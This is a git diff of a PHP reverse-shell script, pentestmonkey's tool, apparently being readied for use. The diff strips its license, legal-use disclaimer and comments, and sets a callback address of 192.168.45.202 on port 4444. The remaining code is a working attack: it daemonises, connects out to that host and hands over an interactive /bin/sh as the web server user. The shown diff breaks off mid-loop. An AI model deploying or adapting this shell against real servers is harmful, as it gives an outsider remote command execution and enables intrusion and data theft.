diff --git a/php-reverse-shell.php b/php-reverse-shell.php
index 2503b71..9689df4 100755
--- a/php-reverse-shell.php
+++ b/php-reverse-shell.php
@@ -1,133 +1,54 @@
 <?php
-// php-reverse-shell - A Reverse Shell implementation in PHP
-// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
-//
-// This tool may be used for legal purposes only.  Users take full responsibility
-// for any actions performed using this tool.  The author accepts no liability
-// for damage caused by this tool.  If these terms are not acceptable to you, then
-// do not use this tool.
-//
-// In all other respects the GPL version 2 applies:
-//
-// This program is free software; you can redistribute it and/or modify
-// it under the terms of the GNU General Public License version 2 as
-// published by the Free Software Foundation.
-//
-// This program is distributed in the hope that it will be useful,
-// but WITHOUT ANY WARRANTY; without even the implied warranty of
-// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-// GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along
-// with this program; if not, write to the Free Software Foundation, Inc.,
-// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-//
-// This tool may be used for legal purposes only.  Users take full responsibility
-// for any actions performed using this tool.  If these terms are not acceptable to
-// you, then do not use this tool.
-//
-// You are encouraged to send comments, improvements or suggestions to
-// me at pentestmonkey@pentestmonkey.net
-//
-// Description
-// -----------
-// This script will make an outbound TCP connection to a hardcoded IP and port.
-// The recipient will be given a shell running as the current user (apache normally).
-//
-// Limitations
-// -----------
-// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
-// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
-// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
-//
-// Usage
-// -----
-// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
-
 set_time_limit (0);
 $VERSION = "1.0";
-$ip = '127.0.0.1';  // CHANGE THIS
-$port = 1234;       // CHANGE THIS
+$ip = '192.168.45.202';  
+$port = 4444;       
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;
 $shell = 'uname -a; w; id; /bin/sh -i';
 $daemon = 0;
 $debug = 0;
-
-//
-// Daemonise ourself if possible to avoid zombies later
-//
-
-// pcntl_fork is hardly ever available, but will allow us to daemonise
-// our php process and avoid zombies.  Worth a try...
 if (function_exists('pcntl_fork')) {
-	// Fork and have the parent process exit
 	$pid = pcntl_fork();
-	
 	if ($pid == -1) {
 		printit("ERROR: Can't fork");
 		exit(1);
 	}
-	
 	if ($pid) {
 		exit(0);  // Parent exits
 	}
-
-	// Make the current process a session leader
-	// Will only succeed if we forked
 	if (posix_setsid() == -1) {
 		printit("Error: Can't setsid()");
 		exit(1);
 	}
-
 	$daemon = 1;
 } else {
 	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
 }
-
-// Change to a safe directory
 chdir("/");
-
-// Remove any umask we inherited
 umask(0);
-
-//
-// Do the reverse shell...
-//
-
-// Open reverse connection
 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
 if (!$sock) {
 	printit("$errstr ($errno)");
 	exit(1);
 }
-
-// Spawn shell process
 $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
 );
-
 $process = proc_open($shell, $descriptorspec, $pipes);
-
 if (!is_resource($process)) {
 	printit("ERROR: Can't spawn shell");
 	exit(1);
 }
-
-// Set everything to non-blocking
-// Reason: Occsionally reads will block, even though stream_select tells us they won't
 stream_set_blocking($pipes[0], 0);
 stream_set_blocking($pipes[1], 0);
 stream_set_blocking($pipes[2], 0);
 stream_set_blocking($sock, 0);
-
 printit("Successfully opened reverse shell to $ip:$port");
-
 while (1) {
-	// Check for end of TCP connection
 	if (feof($sock)) {
 		printit("ERROR: Shell connection terminated");
 		break;